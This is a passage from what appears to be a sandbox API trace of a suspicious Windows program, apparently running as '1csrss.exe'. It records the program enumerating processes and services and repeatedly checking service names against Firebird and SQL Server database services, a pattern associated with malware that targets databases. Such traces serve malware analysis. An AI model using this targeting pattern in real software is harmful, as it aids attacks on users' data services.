lpString2="RpcEptMapper") returned 1 [0312.936] lstrlenW (lpString="RpcSs") returned 5 [0312.936] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0312.936] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0312.936] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0312.936] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0312.936] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0312.936] lstrlenW (lpString="SamSs") returned 5 [0312.936] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0312.936] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0312.936] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0312.936] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0312.936] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0312.936] lstrlenW (lpString="Schedule") returned 8 [0312.936] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0312.936] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0312.936] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0312.936] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0312.936] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0312.936] lstrlenW (lpString="SecurityHealthService") returned 21 [0312.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0312.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0312.937] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0312.937] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0312.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0312.937] lstrlenW (lpString="SENS") returned 4 [0312.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0312.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0312.937] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0312.937] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0312.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0312.937] lstrlenW (lpString="ShellHWDetection") returned 16 [0312.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0312.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0312.937] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0312.937] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0312.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0312.937] lstrlenW (lpString="Spooler") returned 7 [0312.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0312.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0312.937] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0312.937] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0312.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0312.937] lstrlenW (lpString="SSDPSRV") returned 7 [0312.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0312.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0312.937] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0312.937] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0312.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0312.937] lstrlenW (lpString="StateRepository") returned 15 [0312.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0312.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0312.938] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0312.938] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0312.938] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45eee80 | out: hHeap=0x6e0000) returned 1 [0312.938] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x554 [0312.941] Process32FirstW (in: hSnapshot=0x554, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0312.942] Process32NextW (in: hSnapshot=0x554, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x95, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0312.943] lstrlenW (lpString="System") returned 6 [0312.943] Process32NextW (in: hSnapshot=0x554, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0312.943] lstrlenW (lpString="smss.exe") returned 8 [0312.944] Process32NextW (in: hSnapshot=0x554, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0312.944] lstrlenW (lpString="csrss.exe") returned 9 [0312.944] Process32NextW (in: hSnapshot=0x554, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0312.945] lstrlenW (lpString="wininit.exe") returned 11 [0312.945] Process32NextW (in: hSnapshot=0x554, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0312.946] lstrlenW (lpString="csrss.exe") returned 9 [0312.946] Process32NextW (in: hSnapshot=0x554, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0312.947] lstrlenW (lpString="winlogon.exe") returned 12 [0312.947] Process32NextW (in: hSnapshot=0x554, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0312.947] lstrlenW (lpString="services.exe") returned 12 [0312.947] Process32NextW (in: hSnapshot=0x554, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0312.948] lstrlenW (lpString="lsass.exe") returned 9 [0312.948] Process32NextW (in: hSnapshot=0x554, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0312.949] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0312.949] Process32NextW (in: hSnapshot=0x554, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0312.950] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0312.950] Process32NextW (in: hSnapshot=0x554, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0312.951] lstrlenW (lpString="svchost.exe") returned 11 [0312.951] Process32NextW (in: hSnapshot=0x554, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0312.952] lstrlenW (lpString="svchost.exe") returned 11 [0312.952] Process32NextW (in: hSnapshot=0x554, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0312.953] lstrlenW (lpString="dwm.exe") returned 7 [0312.953] Process32NextW (in: hSnapshot=0x554, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0312.954] lstrlenW (lpString="svchost.exe") returned 11 [0312.954] Process32NextW (in: hSnapshot=0x554, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0312.955] lstrlenW (lpString="svchost.exe") returned 11 [0312.955] Process32NextW (in: hSnapshot=0x554, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0312.955] lstrlenW (lpString="svchost.exe") returned 11 [0312.955] Process32NextW (in: hSnapshot=0x554, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0312.956] lstrlenW (lpString="svchost.exe") returned 11 [0312.956] Process32NextW (in: hSnapshot=0x554, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0312.957] lstrlenW (lpString="svchost.exe") returned 11 [0312.957] Process32NextW (in: hSnapshot=0x554, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0312.958] lstrlenW (lpString="svchost.exe") returned 11 [0312.958] Process32NextW (in: hSnapshot=0x554, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0312.958] lstrlenW (lpString="svchost.exe") returned 11 [0312.958] Process32NextW (in: hSnapshot=0x554, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0312.959] lstrlenW (lpString="svchost.exe") returned 11 [0312.959] Process32NextW (in: hSnapshot=0x554, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0312.960] lstrlenW (lpString="svchost.exe") returned 11 [0312.960] Process32NextW (in: hSnapshot=0x554, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0312.961] lstrlenW (lpString="svchost.exe") returned 11 [0312.961] Process32NextW (in: hSnapshot=0x554, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0312.962] lstrlenW (lpString="spoolsv.exe") returned 11 [0312.962] Process32NextW (in: hSnapshot=0x554, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0312.963] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0312.965] Process32NextW (in: hSnapshot=0x554, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0312.965] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0312.966] Process32NextW (in: hSnapshot=0x554, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0312.966] lstrlenW (lpString="Memory Compression") returned 18 [0312.966] Process32NextW (in: hSnapshot=0x554, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0312.967] lstrlenW (lpString="svchost.exe") returned 11 [0312.967] Process32NextW (in: hSnapshot=0x554, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0312.968] lstrlenW (lpString="audiodg.exe") returned 11 [0312.968] Process32NextW (in: hSnapshot=0x554, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0312.969] lstrlenW (lpString="sihost.exe") returned 10 [0312.969] Process32NextW (in: hSnapshot=0x554, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0312.969] lstrlenW (lpString="svchost.exe") returned 11 [0312.970] Process32NextW (in: hSnapshot=0x554, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0312.970] lstrlenW (lpString="taskhostw.exe") returned 13 [0312.970] Process32NextW (in: hSnapshot=0x554, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x9f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0312.972] lstrlenW (lpString="explorer.exe") returned 12 [0312.972] Process32NextW (in: hSnapshot=0x554, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0312.973] lstrlenW (lpString="SearchUI.exe") returned 12 [0312.973] Process32NextW (in: hSnapshot=0x554, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0312.974] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0312.974] Process32NextW (in: hSnapshot=0x554, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0312.974] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0312.974] Process32NextW (in: hSnapshot=0x554, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0xa08, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0312.975] lstrlenW (lpString="1csrss.exe") returned 10 [0312.975] Process32NextW (in: hSnapshot=0x554, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0312.976] lstrlenW (lpString="svchost.exe") returned 11 [0312.976] Process32NextW (in: hSnapshot=0x554, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x940, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0312.977] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0312.977] Process32NextW (in: hSnapshot=0x554, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0312.978] lstrlenW (lpString="svchost.exe") returned 11 [0312.978] Process32NextW (in: hSnapshot=0x554, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1ac, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0312.979] lstrlenW (lpString="consent.exe") returned 11 [0312.979] Process32NextW (in: hSnapshot=0x554, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0312.979] lstrlenW (lpString="dllhost.exe") returned 11 [0312.979] Process32NextW (in: hSnapshot=0x554, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0312.980] CloseHandle (hObject=0x554) returned 1 [0312.980] Sleep (dwMilliseconds=0x1f4) [0313.506] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7ddb88 [0313.506] EnumServicesStatusExW (in: hSCManager=0x7ddb88, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 0 [0313.506] GetLastError () returned 0xea [0313.506] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x1de6) returned 0x45eee80 [0313.507] EnumServicesStatusExW (in: hSCManager=0x7ddb88, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x45eee80, cbBufSize=0x1de6, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x45eee80, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 1 [0313.507] CloseServiceHandle (hSCObject=0x7ddb88) returned 1 [0313.507] lstrlenW (lpString="Appinfo") returned 7 [0313.507] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0313.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0313.508] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0313.508] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0313.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0313.508] lstrlenW (lpString="AppXSvc") returned 7 [0313.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0313.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0313.508] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0313.508] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0313.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0313.508] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0313.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0313.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0313.508] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0313.508] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0313.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0313.508] lstrlenW (lpString="Audiosrv") returned 8 [0313.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0313.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0313.508] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0313.508] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0313.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0313.508] lstrlenW (lpString="BFE") returned 3 [0313.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0313.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0313.508] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0313.509] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0313.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0313.509] lstrlenW (lpString="BITS") returned 4 [0313.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0313.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0313.509] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0313.509] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0313.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0313.509] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0313.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0313.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0313.509] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0313.509] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0313.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0313.509] lstrlenW (lpString="CDPSvc") returned 6 [0313.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0313.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0313.509] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0313.509] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0313.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0313.509] lstrlenW (lpString="ClickToRunSvc") returned 13 [0313.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0313.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0313.509] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0313.509] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0313.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0313.510] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0313.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0313.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0313.510] lstrcmpiW 